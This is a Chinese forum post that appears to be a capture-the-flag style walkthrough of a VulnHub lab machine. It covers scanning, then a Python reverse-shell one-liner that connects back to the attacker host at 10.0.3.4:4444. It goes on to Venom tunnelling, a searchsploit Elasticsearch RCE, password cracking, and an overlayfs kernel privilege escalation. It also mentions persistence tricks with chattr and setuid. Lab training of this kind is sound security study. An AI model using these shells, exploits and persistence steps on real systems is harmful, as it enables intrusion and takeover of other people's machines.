shanque打靶日记-day1

F0re4t   ·   发表于 2022-05-27 04:28:23   ·   技术文章

打靶日记

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
攻击机:kali2022.2

打靶过程

第一部分

1.信息收集

ip

由于靶机和攻击机都使用nat连接,所以可以直接arp扫描发现

  1. arp-scan -l


靶机ip为10.0.3.5

端口

  1. nmap -p- -sV 10.0.3.5


发现5000端口开了web服务,且用python2编写的系统.
浏览器访问


发现是一个聊天室,简单的手动测试后并未发现明显漏洞。继续对web服务进行信息收集。

  1. dirsearch -u http://10.0.3.5:5000


返回结果发现/admin目录


得知输入框内的值会被代码执行,尝试python代码反弹shell,上网找一个。

  1. import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

此处的坑:网上找的刚刚开始一直吃不到shell,要把python -c删掉,然后还过滤了’,要把前后的引号也去掉。然后以后贴代码最好用编辑器或者topyra里插入代码块在贴进去,我一开始用的word估计也是自动给你编排了格式

吃到shell

之后查看id发现为root权限,ls又发现了目录里有dockerfile,怀疑拿下的是docker容器的系统,并没有拿下sudo机器。之后ls /.dockerenv,发现有这个文件存在,确认猜想。

第一部分总结

获取ip->端口扫描->web信息收集->漏洞利用反弹shell->拿到docker容器root权限

第二部分

思路:想办法从docker容器的隔离中跳出来,拿到sudo机器的权限。

信息收集

ip a查看daocker容器ip172.17.0.3" class="reference-link">ip a查看daocker容器ip172.17.0.3

for循环ping出存活主机

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done


存活主机为172.17.0.1/2/3,其中0.3为docker容器的内网ip。

对主机信息收集

由于大部分收集工具在kali机上,所以需要在kali机和靶机的内网之间搭建一条隧道。

隧道搭建

使用工具venom(已上传到附件)


现在这个文件夹打开一个终端
运行服务端./admin_linux_x64 -lport 7777


开启一个http服务,在容器机用wget把客户端下进去,根据信息收集,这里选择使用agent_linux_x86,为了方便后面操作,改名为shanque。


在此文件夹再打开一个终端,python3 -m http.server 80开启web服务


在容器机下载客户端wget http://10.0.3.4/shanque


给执行权限chmod +x shanque
这里再补充两个好玩的指令
chattr +i shanque锁定文件,root删不掉
chmod +s shanque每次都以管理员权限运行
我这里是自己运行的靶机就用不到
连接kali机 ./shanque -rhost 10.0.3.4 -rport 7777


show,查看服务端
goto 1 进入节点
socks 1080 启动一个socks监听

给kali机挂上代理
vi /etc/proxychains4.conf拉倒最下面,修改两个地方

内网信息收集

对刚刚发现的172.17.0.1/2两台存活的主机进行扫描
proxychains nmap -Pn -sT 172.17.0.1


扫出来是不是似曾相识的感觉,猜想172.17.0.1就是10.0.3.5这台sudo机器的内网ip。
把浏览器挂上代理,访问5000端口看看


一毛一样,确认猜想。
那么还剩一台172.17.0.2容器系统可以利用,扫描->发现漏洞->利用漏洞->最终拿到172.17.0.1sudo机的root权限。不然就寄。
proxychains nmap -Pn -sT 172.17.0.2


9200端口发现,上网搜一搜。
9200作为Http协议,主要用于外部通讯。
一般都是给ElasticSearch-Head等工具连接ElasticSearch使用的。

对172.17.0.2容器攻击

中奖,说明这个服务存在漏洞,找找exp
searchsploit Elasticsearch


两个rce,先把利用脚本复制过来,然后一个个试。
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
vim 36337.py


查看以后发现是python2写的脚本
python2 36337.py


利用格式为python2 36337.py 172.17.0.2
proxychains python2 36337.py 172.17.0.2


不太行,注意这里有大坑。我在这卡了四天(反反复复重新开隧道,重启靶机,重装靶机系统,换一个kali系统,换到virtualbox虚拟机都试了)最后才知道,Elasticsearch这个服务要先有数据,才能被攻击。
解决办法,先给一条数据给它

  1. proxychains curl -XPOST '172.17.0.2:9200/twittter/user/yren' -d '{"name":"shanque"}'

再执行exp


敲id成功出现root权限,芜湖~
信息收集,发现有password,打开有用户名和对应的hash值


拿到账号密码
john 1337hack测试过只有这一个能登陆,正常要把所有的账号密码都拿出来一个个试。

到此,能做的都做了,总结一下

靶机ip:10.0.3.5 开了22端口 openssh
内有两个容器:
1.docker 内网ip172.17.0.3,web服务,rce
2.elasticsearch,内网ip172.17.0.2。Elasticsearch,RCE
3.172.17.0.1,靶机的内网ip,账号密码已经拿到

第三部分

ssh登陆sudo机,提权

ssh john@10.0.3.5


用户为普通用户

提权


目标系统使用的3.13版本的内核
searchsploit linux 3.13


发现很多可以利用,挑选拷贝一个
cp /usr/share/exploitdb/exploits/linux/local/37292.c .


查看发现是c语言的源码,要用gcc来编译


并且发现它本身还会再次调用gcc来编译一次,意味着就算在kali上编译好了丢进去执行还是会出错。
解决方案:修改源码,不让他二次调用gcc编译,而是直接在kali上找到编译好的
ofs-lib.so这个二进制库文件让它去读取。

首先把涉及到编译库文件源码的都删掉


再在kali机上进行编译
gcc -o shanque 37292.c


编译好的expshanque已经生成,要执行还要配合ofs-lib.so这个文件


拷贝过来
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .


然后启动http服务,把这两个都丢到目标sudo机上面去


挪到tmp目录下


给执行权限shanque,然后执行


提权成功
至此打靶训练结束

理一下过程
1.靶机发现:ip10.0.3.5
2.全端口扫描5000,22
3.应用扫描web,openssh
4.web服务访问,没有发现漏洞
5.目录扫描,/admin
6.远程rce,反弹shell,拿到root权限
7.发现处于docker容器,内网存活主机探测
8.内网穿透,venom使用
9.存活主机全端口扫描,确认172.17.0.1为sudo机器,在172.17.0.2发现9200端口,搜索利用exp远程rce,拿下elasticsearch机器的root权限
10.password文件发现密码,解密,ssh登陆sudo机,内核漏洞提权。

用户名金币积分时间理由
Track-劲夫 60.00 0 2022-05-27 19:07:42 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

Venom.v1.1.0.7z   文件大小:5.534M (下载次数:3)

1 条回复   |  直到 2022-5-29 | 1026 次浏览

小小李白
发表于 2022-5-29

主打什么方向啊你

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.